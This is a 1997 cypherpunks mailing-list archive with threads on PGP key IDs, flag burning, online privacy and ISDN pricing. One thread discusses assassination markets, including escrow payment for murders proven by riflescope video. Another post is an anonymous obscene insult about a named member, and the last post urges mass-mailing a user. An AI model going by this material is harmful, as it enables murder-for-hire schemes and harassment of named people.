>John Doe creates a key and signs it:
>
>pub 2048/FFFFFFFF 01/01/90 John Doe
>sig                        John Doe (0xFFFFFFFF)
>
>Now 3 other people verify that the key does belong to John Doe and sign
>the key:
>
>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
>sig                        John Doe   (0xFFFFFFFF)
>sig                        Mary Jane  (0xAAAAAAAA)
>sig                        Tom Thumb  (0x11111111)
>sig                        Tiny Tim   (0xCCCCCCCC)
>
>Now John adds an aka to his key and signs it.
>
>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
>sig                        John Doe   (0xFFFFFFFF)
>sig                        Mary Jane  (0xAAAAAAAA)
>sig                        Tom Thumb  (0x11111111)
>sig                        Tiny Tim   (0xCCCCCCCC)
>aka                        John Doe john.doe@who-is-it.com
>sig                        John Doe   (0xFFFFFFFF)
>
>Since John Doe is the only one who could sign the key with the new aka one
>can assume that the aka is as valid as the original userid.

So if John Doe wants to be known as "president@whitehouse.gov" or "Tim May
<tcmay@got.net>" all he has to do is change the field, and upload the
changed key to the key servers, and all the signatures should remain good?


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Fri, 13 Jun 1997 22:00:43 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <199706131316.JAA18236@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain




panther@writeme.com said:

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's
> a symbol of the freedom we have.  To allow someone to publicly burn a flag
> is essentially displaying our freedom being burned.

Some people believe that the freedom that the flag once symbolized is
already gone.  Burning the flag can be a representative way of saying "Our
Freedom has already been burned".

Of course, banning the burning of the flag only proves their point.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Fri, 13 Jun 1997 22:49:55 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <v03007802afc70793754d@[204.91.138.31]>
MIME-Version: 1.0
Content-Type: text/plain




>Marc Rotenberg commented, "Privacy at the individual user level is
>unimportant, just so long as a Privacy Ombudsman can decide on the
>legitimate needs of law enforcement."

Tim's statement, attributed to me, is not true. And I assume there
is still some role for truth in the debate about privacy issues.
Or maybe Tim disagrees.

Marc Rotenberg.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 13 Jun 1997 21:42:44 +0800
To: RS <panther@writeme.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <Pine.GSO.3.95.970613092147.25037B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, RS wrote:

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> symbol of the freedom we have.  To allow someone to publicly burn a flag is
> essentially displaying our freedom being burned.

You're missing the point.  Burning the flag, the symbol of this nation, is
a protest that the government is doing something that you find absolutely
reprehensible.  (Or at least should be)  To prevent this burning of the
flag goes so strongly against what the First ammendment sought to do as to
completely ignore it.  

Sure, some people will burn the flag because they like to burn things, or
because they like to cause trouble, but isn't this hard to tell apart from
non-violent protest, one of the fundamental things in this country?

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 14 Jun 1997 01:06:15 +0800
To: Declan McCullagh <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it,from Netly
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <v03007876afc7277e89f3@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:22 AM -0700 6/13/97, Declan McCullagh wrote:
>        Fortunately, you have some options. Say you walk into Radio Shack
>   and that teenager behind the counter wants your home address. You have
>   three choices: Convince the guy he doesn't need it, ask the government
>   to force him not to require it -- or leave.

You can also lie, frequently the most convenient option, and according to
surveys, frequently used with nosy web sites.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 14 Jun 1997 00:56:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102800afc652637f93@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970613093549.19087A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997, Tim May wrote:

> I can't understand (hint: someone please explain) why I get so many
> requests to send the "tcmay@got.net" key, as opposed to the
> "tcmay@netcom.com" key so widely available. I thought the key signings were
> about the Person Widely Known as "Tim May" being associated with the key
> signed, not some temporary e-mail address.

Have you set up another userid on the key and resubmit it to the key
servers and avoid the confusion.

> My binding was between the key, and "me." Those who wanted to send messages
> to "me" could assume that only "I" could read it. The address
> "tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
> "tcmay@got.net" is somehow not the keyholder of that '92 key is a nonissue.

Most people out there only know you via your e-mail address.  How do they
know if "tcmay@netcom.com" is the same as "tcmay@got.net" and not
"mallet@nsa.gov"?  When looking for someone's key, most people look by
e-mail address.  (It is the only "unique" id other than key id or
fingerprint that people have to go on.)

> If the keyserver databases focus on such ephemera as the current ISP
> account, then they are focussing on the wrong things.

What do you want keyservers to go on?  You have to have some way of
obtaing the keys for an individual.  It could be some other Tim May out
there.  (Name collision is pretty common, especially since everyone and
his extended family are getting on the net.)

> Am I missing something central?
> 
> --Tim May, whose e-mail deliverer has changed a few times, but whose key
> remains constant. Which is more important?

Uh... Making the key reflect you address so people can find it...  Or as
was said in Dr. Strangelove "It is not a deterent if you keep it a
secret!".

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 13 Jun 1997 22:06:57 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
Message-ID: <199706131352.GAA06683@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



"RS" writes:

I'm curious as to why you feel the need to conceal your identity.

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> symbol of the freedom we have.  To allow someone to publicly burn a flag is
> essentially displaying our freedom being burned.

It's a symbol, not the thing symbolized. You are confusing the map 
with the country. 

Burning the flag is a statement by the burner that they feel that the
symbol has become empty, and the freedom which the flag symbolizes is
gone or has been compromised in some manner. It's clearly a form of
political speech. True, It's a very strong statement, but strong 
political speech has been protected by the Constitution (at least up till 
now).
 
> Bush was a veteran, and Clinton was not.  I take it the ones who are
> writing on this subject about how we should have the "freedom" to burn the
> flag have never served in the military or for our country.   

You are mistaken - some of the people opposing your viewpoint have 
stated that they are veterans.

> Being a veteran myself, I find it very distateful to allow anyone on our
> soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
> for a moment and what it really stands for.  Does it not stand for freedom
> and liberty?

It does *stand* for freedom and liberty, but only as long those 
values really exist. It *is* *not* freedom and libery in it's own
right.
 
When what the flag symbolizes is gone, it becomes just a piece of 
cloth. Burning this cloth draws attention to the loss. It is a dramatic
statement, but under certain circumstances an appropriate one.
 
> Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
> burn the flag unless you would like to live under another flag!

Thank you for your opinion. You are of course free to express it. And 
I, and other thoughtful, freedom-loving Americans can oppose it.

Think about this:

Would you rather people did not burn the flag because:

1. They'll be thrown in the slammer if they do.
2. The revere the values for which it stands, and will not descrate a
   meaningful symbol of these values.

In (2), we can look at the (very rare) individuals who *do* burn the
flag, and determine for ourselves if they have a valid point to 
convey.  

In (1), we'll never know.

For Congress to deny the freedom to burn the flag is a desecration of what
the flag stands for - a descration of the flag by the government itself.

Peter Trei
trei@process.com

Disclaimer: I represent only myself in this article.

  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 01:27:20 +0800
To: cypherpunks@toad.com
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <v03102806afc72cece4f0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:55 AM -0700 6/13/97, Declan McCullagh wrote:
>On Fri, 13 Jun 1997, Ray Arachelian wrote:
>> Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
>> morals, eh?
>
>Far from it. My position is a principled one, not one of convenience.
>
>As a civil libertarian, for instance, I would not support laws that give
>certain journalists more free speech "rights" than a Net-loon with a web
>site.

And I hope Declan does not support so-called "shield laws" which give
reporters protection against having to reveal sources (modulo the
oft-discussed contempt laws).

Declan's "job" is as a reporter. Just a job. Not a special class of rights
as determined by the government. I am as much a "reporter" as Declan is, in
terms of what rights I have. In fact, arguable many of us are reporters, as
we report on what we see and what we think....Brock Meeks started out in a
similar online forum, as did Declan. At what point did they suddenly gain
special protections from interrogations about their sources that the rest
of us don't have?

(I have no problems with private agents, e.g., Microsoft or whatever,
limiting contacts to the "main" reporters. It's their property. If they
grant interviews to Declan, Brock, John, Steve, etc., and not to me, I
cannot claim my "rights" were violated. Government functions are another
matter, and I would generally favor letting anyone claiming to be a
reporter in to government press conferences...to do anything else is to
give licensing and credentials to speech, which the government should have
no right to do. If they need to hold press conferences in RFK Stadium, so
be it.)

The general area of licensing of reporters is fraught with troubles.
(Readers may recall that UNESCO sought to force the United States into
going along with this kind of licensing; the U.S. refused. However, the
"shield laws" are a dangerous step in the direction of such licensing.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 01:27:18 +0800
To: declan@well.com
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <v03102807afc72fa88963@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:19 AM -0700 6/13/97, Declan McCullagh wrote:
>On Thu, 12 Jun 1997, Tim May wrote:
>
>> According to Netscape spokesmen, this feature was added to the kernel of
>> Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
>> Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
>> Denning asked us to insert the "remote read" capabilities to ensure that
>> the legitimate needs of law enforcement are met. No person cruising the Web
>> has any expectation of privacy, as even Declan McCullagh has pointed out."
>
>Tim misrepresents my position, or does not understand it. I did not say
>that. Rather, I argued that you have no "right of privacy" that allows you
>generally to restrict the right of others to gossip, trade, or otherwise
>share information about you. Such a rule would violate their rights of
>free speech.
>
>Like Marc, I hope there is still some role for truth in the debate about
>privacy issues.

And like Marc, you take satire entirely too seriously.

My one line paraphrasing of your point, ostensibly a deliberately clumsy
rephrasing by Jim Clarke appropriating for his own uses your  general
point, could hardly have been expected to be a fully-nuanced explication of
your point.

Jeesh. You've been in D.C. too long, or have "headed" too many soccer balls
lately.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 14 Jun 1997 01:52:22 +0800
To: cypherpunks@toad.com
Subject: Cato forum on federal law enforcement
Message-ID: <Pine.GSO.3.95.970613102306.27431A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 13 Jun 1997 12:13:47 -0400 (EDT)
From: Robin Hulsey <rhulsey@cato.org>
Subject: No More Wacos: What's wrong with federal law enforcement and  how to fix it

NEWS MEDIA ALERT

WHAT:	
Book Forum
No more Wacos: What's wrong with federal law enforcement and how to fix it


WHY:	
On April 19, 1993, federal agents conducted a deadly raid on the Branch
Davidian compound 
at Waco, Texas. The Waco raid was the largest raid in the history of the
Bureau of Alcohol, 
Tobacco and Firearms; it was the largest federal armed entry ever of an
American home; and 
it resulted in the largest number of deaths of law enforcement officers in a
single operation as 
well as the largest number of civilian deaths in a law enforcement
operation. In No More Wacos,
Kopel and Blackman maintain that what happened at Waco was neither a
conspiracy nor a 
fluke. The Waco tragedy instead represents the worst-case scenario of
problems that still plague 
federal law enforcement, including lax procedures involving search warrant
applications and the
militarization of police tactics. The authors will discuss why such
tragedies occur-and how future 
Wacos can be prevented.
	 
 
WHEN:	
4-6 p.m., Thursday, June 19


WHERE:	
F.A. Hayek Auditorium
Cato Institute
1000 Massachusetts Ave. NW
Washington, DC
	

WHO:	 	
David B. Kopel
Independence Institute
		
Paul H. Blackman
National Rifle Association


HOW:		
RSVP to Robin Hulsey, at 202-789-5293 or rhulsey@cato.org 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 01:37:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
In-Reply-To: <Pine.SUN.3.96.970610172007.1148G-100000@eskimo.com>
Message-ID: <v03102808afc730fed9b6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:51 AM -0700 6/11/97, Bill Stewart wrote:

>really does pay off the killer.  What's novel about Bell's version
>(and I don't know whether it originate with him or not) is that
>it provides a cyberspace-only mechanism for the assassin to
>demonstrate to the payer that he's the one who did the job
>and isn't some wannabe claiming to have done it to collect the cash.
>	(like the wannabes who called newspapers claiming to
>	have been the World Trade Center bombers, etc.)

What really creates a "hit" on the efficiency of Bell's system, as I
understand it, is that the guy who plans to make the hit may plan to do it
on, for example, June 21. This is the date he bets on heavily.

Alas, someone else does the hit on June19th, or 15th, or whatever. (There
are all those dates, distributed on some curve,  implying others are
thinking making the hit, too.)

Or, his target stays indoors all that day. (Possibly by looking at the
betting data!)

There are lots of "noise sources" in such a probabalistic scheme of
sidebets based on outcomes which not even a skilled assassin can control.

>There are alternatives, like posting a photo of the corpse to
>a time-stamping service and then to Usenet, though this adds
>some risk to the assassination, and is less useful for
>public killings (e.g. if the President gets shot,
>and there's a well-known address for the assassination pool,
>the White House Press Corps may try to get their photographs
>into the pool before sending them to Reuters and, umm, AP.)

The "proof" issue has been discussed at various times over the past several
years. This is a matter for the contract negotiations (so to speak). The
purchaser of a hit may specify to the escrow agent that the untraceable
funds are to be anonymously mailed (using message pools, for example) only
if a Quicktime movie of the hit actually happening are submitted. (It would
be fairly trivial to attach a small camcorder to a riflescope, for example,
showing the target being killed by a sniper. Other similar options,
essentially impossible to spoof by pretenders, are quite easy to imagine.
Depends on the method of hitting, of course.)

>The assassin still has to make sure he gets paid, and Bell suggests
>(incorrectly, I think) that since all the payer is doing is
>running a lottery, not contracting for killings, that the payer
>could be a persistent entity with some reputation capital
>who has an incentive to pay off.

As has also been discussed for almost 10 years now, third-party anonymous
escrow agents, whose business is only the holding of funds for release
under conditions they judge to have been met, is an elegant and robust
solution.


>
>>Now in light of the fact that when the target has many enemies the
>>assassination becomes a non-excludable public good, it is almost certain
>>that the scheme cannot actually work in practice.  All of the potential
>>payers would rather free-ride and let others pay, so the public good ends
>>up not being "produced".
>
>I think Bell is imagining that a lot of people would be willing to
>pay $5 for killing high-profile targets, like a few IRS agents,
>so this wouldn't be a problem for the targets _he_ wants killed off.
>Getting people to chip in large amounts of money is tougher.

And it is far, far likelier that someone will use untraceable mechanisms
(cash, markets, escrow) to have an enemy whacked than that a cumbersome,
probabalisitic, highly-publicized market will develop.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 13 Jun 1997 23:34:16 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <199706122248.RAA11848@einstein.ssz.com>
Message-ID: <Pine.GSO.3.95.970613105505.13113D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I suspect the scare about privacy has led to muddled thinking.

Free speech is a right that strictly limits the government's ability to
control what you say. We should have a similar right of privacy from the
government.

But I give up my free speech "rights" when I attend a college with a wacky
speech code or go to work at a company with workplace speech policies. My
choices in those situations are governed by my free speech preferences. 
Similarly, I give up my privacy "rights" when I go to unknown web sites,
apply for a loan, or post to Usenet, etc. These also are preferences. 

I'm surprised not to hear more from other folks here: my position is one
cypherpunks have advocated for years -- controlling what data flow from my
computer is my responsibility.

-Declan


On Thu, 12 Jun 1997, Jim Choate wrote:

> Hi,
> 
> Forwarded message:
> 
> > Date: Thu, 12 Jun 1997 18:58:37 -0400
> > From: Declan McCullagh <declan@well.com>
> > Subject: There's no general right to privacy -- get over it, from Netly
> 
> > likes to say "Privacy is not an absolute right, but a
> > fundamental right." But in truth, privacy is not a
> > right but a preference: Some people want more of it
> > than others.
> 
> A right is not a question of popularity or amplitude, it is a question of
> existance. It is or it isn't. Some people want more guns than others
> (obvious even to you) so you seriously hold that there is no fundamental
> Constitutional right to own firearms? Or speech, we don't all want to use it
> to the same amount, we therefore don't have a right to free speech? Or (oh
> my god!) crypto, we don't all want to use it to the same degree therefore we
> don't have a right to use crypto?
> 
> Serious boo-boo.
> 
> I hope it ain't gone to print yet...
> 
>     ____________________________________________________________________
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage@ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 14 Jun 1997 01:21:11 +0800
To: RS <panther@writeme.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <Pine.LNX.3.95.970613105102.3733A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 13 Jun 1997, RS wrote:

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> symbol of the freedom we have.  To allow someone to publicly burn a flag is
> essentially displaying our freedom being burned.
> 
> Bush was a veteran, and Clinton was not.  I take it the ones who are
> writing on this subject about how we should have the "freedom" to burn the
> flag have never served in the military or for our country.  
> 
> Being a veteran myself, I find it very distateful to allow anyone on our
> soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
> for a moment and what it really stands for.  Does it not stand for freedom
> and liberty?
> 
> Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
> burn the flag unless you would like to live under another flag!
> 

Being a veteran, you should be aware of the freedoms for which you
risked your life.  You are assuming that burning of our flag is intended
to insult the tenets of freedom our country used to be based on.
(unfortunately only for europeans)

Maybe what the person is saying is that "our freedom is going up in
flames".  Considering the barbeque at Waco I would consider this the
ultimate political statement.

"Church burning.  Its not just for racists anymore!"

(sorry i digress)

Political speech.  Love it or shut the hell up.

Just because you find it offensive doesn't mean you should change the
constitution.  Should we amend the constitution to prosecute people
who pick their noses in public, say the f-word or insult your favorite
religion?

Man!  Time to take a civics 101 class.

Jim Burnes
son and nephew of people who
thought they were risking their
lives for freedom








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dshipman@ewol.com (Dave Shipman)
Date: Fri, 13 Jun 1997 23:31:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [Noise, California only] Good deal on ISDN access
Message-ID: <19970613150748390.AAA112@xxx>
MIME-Version: 1.0
Content-Type: text/plain



At 05:55 AM 6/11/97 +0200, you wrote:
>Lucky Green sez:
>
>> Given that a good number of people on this list live in CA, this might be
>> of interest to you. It certainly was to me. PacBell is selling flat rate 2B
>> ISDN Internet access at $50/month. Plus the regular home ISDN fees, but
>> this is still much cheaper than what I paid before. You might want to think
>> hard before you buy at new 56k modem that in all likelihood won't be able
>> to give you 56k anyway. And no analog modem will ever give you 128kbps.
>
>But don't they still charge you a penny a minute?  That adds up fast, and
>would probably cost you more than your $50 internet access fees.  Plus the
>cost of ISDN service...  All told, you're looking at $150 or so per month.
>
>When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
>month.  Not as fast, but a much better price/performance ratio.
>
>
GTE in SRQ charges a flat (no installation charge or per minute on a 36
month contract) rate of $54.00 plus any long distance calls I make on the
SPID. My ISP charges $34.00 for a total of $88.00 and I am connected 125/175
hours a month. Early on, I found a definite need for a separate line
($19.00) to support my habit and when I installed ISDN that line was
removed. Net cost for a *true* observed 3X speed increase, FAX, and voice
com is $69.00 a month. A BitSURFER Pro TA cost $360.00 and replaced a 28.8
modem. As soon as my ISP gets around to it (and figures out what to charge),
the wires get twisted and the 3X increase should double.  

Those who buy a "56k" modem are in for a disappointment. No POPS in the US
supports more than 53k and many run at *much* less due to cross talk
problems. Also, your ISP will have to choose one of the two available
"standards" (X2 or 56Kflex) with no assurance that when the 56k dust settles
you will still have compatible equipment. 

Those who live in ATL or are PAC Bell customers should examine the
possibilities of ADSL which is supposed to roll out in both areas, sometime
in the last quarter. Bell South plans to offer ADSL the first quarter of
next year and DMT appears to be winning the "standards" battle with CAP for
ASDL protocol. I've not seen any cost information but presume that the
increased bandwidth will result in higher charges than ISDN. Unfortunately,
here in the swamps of southwest FL, ADSL will not be an option for several
years.


DLS
------------------------------------------------
That field hath eyen, and the wood hath ears.
         Geoffrey Chaucer. 1328-1400.

                          (From the text of Tyrwhitt.) Line 1524.

   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 00:35:46 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03007874afc71e205651@[207.94.249.152]>
Message-ID: <199706131613.LAA12353@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03007874afc71e205651@[207.94.249.152]>, on 06/13/97 
   at 11:00 AM, Bill Frantz <frantz@netcom.com> said:

>At 10:33 PM -0700 6/12/97, William H. Geiger III wrote:
>>In <v0300786dafc68637a08c@[207.94.249.152]>, on 06/12/97
>>   at 10:14 PM, Bill Frantz <frantz@netcom.com> said:
>>>If you have a version of the key with no signatures, then you can change
>>>the data field and re-sign with the associated secret key.  Since the
>>>data field has changed, you properly need to have others re-verify the
>>>validity of the binding.
>>
>>I don't think that any changes that he would make to his key would need
>>re-verification provided that he signed those changes. Take the following
>>scenario:
>>
>>John Doe creates a key and signs it:
>>
>>pub 2048/FFFFFFFF 01/01/90 John Doe
>>sig                        John Doe (0xFFFFFFFF)
>>
>>Now 3 other people verify that the key does belong to John Doe and sign
>>the key:
>>
>>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
>>sig                        John Doe   (0xFFFFFFFF)
>>sig                        Mary Jane  (0xAAAAAAAA)
>>sig                        Tom Thumb  (0x11111111)
>>sig                        Tiny Tim   (0xCCCCCCCC)
>>
>>Now John adds an aka to his key and signs it.
>>
>>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
>>sig                        John Doe   (0xFFFFFFFF)
>>sig                        Mary Jane  (0xAAAAAAAA)
>>sig                        Tom Thumb  (0x11111111)
>>sig                        Tiny Tim   (0xCCCCCCCC)
>>aka                        John Doe john.doe@who-is-it.com
>>sig                        John Doe   (0xFFFFFFFF)
>>
>>Since John Doe is the only one who could sign the key with the new aka one
>>can assume that the aka is as valid as the original userid.

>So if John Doe wants to be known as "president@whitehouse.gov" or "Tim
>May <tcmay@got.net>" all he has to do is change the field, and upload the
>changed key to the key servers, and all the signatures should remain
>good?

Well remember that John Doe is only adding an AKA to his key not deleteing
the old userid and replacing it with a new one. This is very important.

pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
sig                        John Doe   (0xFFFFFFFF)
sig                        Mary Jane  (0xAAAAAAAA)
sig                        Tom Thumb  (0x11111111)
sig                        Tiny Tim   (0xCCCCCCCC)
aka                        John Doe president@whitehouse.gov
sig                        John Doe   (0xFFFFFFFF)


If he were to remove the old userid and replace it with a new one you
would have:

pub 2048/FFFFFFFF 01/01/90 John Doe president@whithouse.gov
sig                        John Doe   (0xFFFFFFFF)

without any autheticating signatures.

The first case all we have is a change of address while in the second we
have a change of identity.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 14 Jun 1997 03:31:11 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706131810.LAA05807@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim C. Maya likes to lick the semen-shit mixture that 
accumulates in the crack of his mother's ass.

           /_/\/\
           \_\  /
           /_/  \
           \_\/\ \ Tim C. Maya
              \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 13 Jun 1997 23:42:37 +0800
To: Declan McCullagh <declan@well.com>
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <v03007801afc62e624e47@[168.161.105.191]>
Message-ID: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997, Declan McCullagh wrote:

> http://pathfinder.com/netly/editorial/0,1012,1050,00.html

[...]

>      I have a confession to make: Unlike many of my
> civil libertarian colleagues, I believe you have no
> general right to privacy online. Sure, you have the
> right to protect your personal data, but you shouldn't
> be able to stop someone else from passing along that
> information if you let it leave your computer. That's
> your responsibility.


Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
morals, eh?  Maybe if someone would go through all your records and post
them all over the net, you'd feel differently!

Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
scum if you believe this.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 14 Jun 1997 01:37:22 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Quadratic residues
In-Reply-To: <199706131000.MAA10625@basement.replay.com>
Message-ID: <Pine.A41.3.95.970613111651.37558A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

